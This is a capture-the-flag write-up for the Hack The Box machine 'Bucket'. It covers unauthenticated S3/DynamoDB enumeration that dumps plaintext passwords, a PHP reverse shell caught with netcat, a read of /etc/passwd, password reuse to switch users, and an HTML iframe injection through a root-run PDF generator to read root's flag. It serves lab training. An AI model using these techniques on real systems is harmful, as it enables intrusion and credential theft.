Hack The Box : Bucket
24 April, 2021
Beginning with an nmap scan
$ sudo nmap -A -p 1-10000 10.10.10.212
[sudo] password for kali:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-15 09:47 EST
Nmap scan report for 10.10.10.212
Host is up (0.16s latency).
Not shown: 9998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=2/15%OT=22%CT=1%CU=33077%PV=Y%DS=2%DC=T%G=Y%TM=602A89F
OS:6%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)SEQ(SP=1
OS:04%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O
OS:3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 158.76 ms 10.10.14.1
2 159.13 ms 10.10.10.212
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.31 seconds
On visiting the website I saw that the images were being fetched from s3.bucket.htb. Running gobuster on s3.bucket.htb and s3.bucket.htb/adserver didn't reveal
anything but running against s3.bucket.htb revealed some information
$ ./gobuster dir -u http://s3.bucket.htb/ -t 50 -w wordlists/common.txt -b 401,404
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://s3.bucket.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: wordlists/common.txt
[+] Negative Status codes: 401,404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/health (Status: 200) [Size: 54]
/server-status (Status: 403) [Size: 278]
/shell (Status: 200) [Size: 0]

As one might have guessed from the domain, AWS S3 was being used. Also, Dynamo DB was being used.
I started by enumerating S3 but didn't get much from it.
$ aws s3 ls --no-sign-request s3://s3.bucket.htb/adserver/images/
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
$ aws s3 ls --no-sign-request --endpoint-url http://s3.bucket.htb s3://adserver/
PRE images/
2021-02-18 12:03:04 5344 index.html
Enumerating DynamoDB on the other hand was helpful
$ aws dynamodb list-tables --no-sign-request --endpoint-url http://s3.bucket.htb/
{
"TableNames": [
"users"
]
}
$ aws dynamodb describe-table --no-sign-request --table-name users --endpoint-url http://s3.bucket.htb/ 2 тип
{
"Table": {
"AttributeDefinitions": [
{
"AttributeName": "username",
"AttributeType": "S"
},
{
"AttributeName": "password",
"AttributeType": "S"
}
],
"TableName": "users",
"KeySchema": [
{
"AttributeName": "username",
"KeyType": "HASH"
},
{
"AttributeName": "password",
"KeyType": "RANGE"
}
],
"TableStatus": "ACTIVE",
"CreationDateTime": 1613418670.817,
"ProvisionedThroughput": {
"LastIncreaseDateTime": 0.0,
"LastDecreaseDateTime": 0.0,
"NumberOfDecreasesToday": 0,
"ReadCapacityUnits": 5,
"WriteCapacityUnits": 5
},
"TableSizeBytes": 107,
"ItemCount": 3,
"TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/users"
}
}
$ aws dynamodb scan --no-sign-request --table-name users --endpoint-url http://s3.bucket.htb/
{
"Items": [
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
},
{
"password": {
"S": "Welcome123!"
},
"username": {
"S": "Cloudadm"
}
},
{
"password": {
"S": "n2vM-<_K_Q:.Aa2"
},
"username": {
"S": "Sysadm"
}
}
],
"Count": 3,
"ScannedCount": 3,
"ConsumedCapacity": null
}
Took me a while to think this through, I was able to upload to the bucket that was serving the pages. So I uploaded a PHP reverse shell using AWS cli
$ aws s3 cp --no-sign-request --endpoint-url http://s3.bucket.htb rev.php s3://adserver/; while true; do curl -s http://bucket.htb/rev.php > /dev/null; done
$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.14.157] from (UNKNOWN) [10.10.10.212] 50634
Linux bucket 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
17:23:02 up 3:57, 0 users, load average: 0.02, 0.04, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ls
bin
boot
cdrom
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
$ whoami
www-data
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
roy:x:1000:1000:,,,:/home/roy:/bin/bash
roy and root are the only users with shell
User
Switching to roy using one of the passwords found before
$ su roy
Password:
whoami
roy
cat ~/user.txt
0c4d2492964b6ca45e1d8b1a84ffcd41
cat ~/.ssh/id_rsa
cat: /home/roy/.ssh/id_rsa: No such file or directory
Root
Two processes that were running as root caught my eye
root 1524 3.8 3.3 143664 136280 ? Sl 13:26 10:12 python bin/localstack start --host
root 1591 0.2 7.0 1685232 283932 ? Ssl 13:26 0:36 java -Djava.library.path=./DynamoDBLocal_lib -Xmx256m -jar DynamoDBLocal.jar -sharedDb -port 51235 -inMemory
Looking around the files, I found out some interesting code in /var/www/htb-bucket/index.php
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
if($_POST["action"]==="get_alerts") {
date_default_timezone_set('America/New_York');
$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
}
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
}
else
{
?>
If the method was POST, it would scan the alerts table and print some information to a PDF file. The filter applied seems "title == 'Ransomware'" and it would print the 'data' column of that particular row.
Command injection looks like a possibility:
* file_put_contents is not vulnerable, I tried
* pd4cmd evaluates HTML so we can just print out a file I guess
I used the following command
$ aws dynamodb create-table --no-sign-request --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=1,WriteCapacityUnits=1 --endpoint-url http://localhost:4566 && aws dynamodb put-item --no-sign-request --table-name alerts --item '{"data":{"S":"<html><iframe src='/root/root.txt'></html>"}, "title":{"S":"Ransomware"}}' --endpoint-url http://localhost:4566 && curl -X POST -d "action=get_alerts" http://localhost:8000
Since the directory would get cleaned fairly quickly I automated the transfer of the output file using expect
#!/usr/bin/expect -f
spawn bash -c "scp roy@bucket.htb:/var/www/bucket-app/files/result.pdf ."
expect {
-re ".*es.*o.*" {
exp_send "yes\r"
exp_continue
}
-re ".*sword.*" {
exp_send "n2vM-<_K_Q:.Aa2\r"
}
}
interact
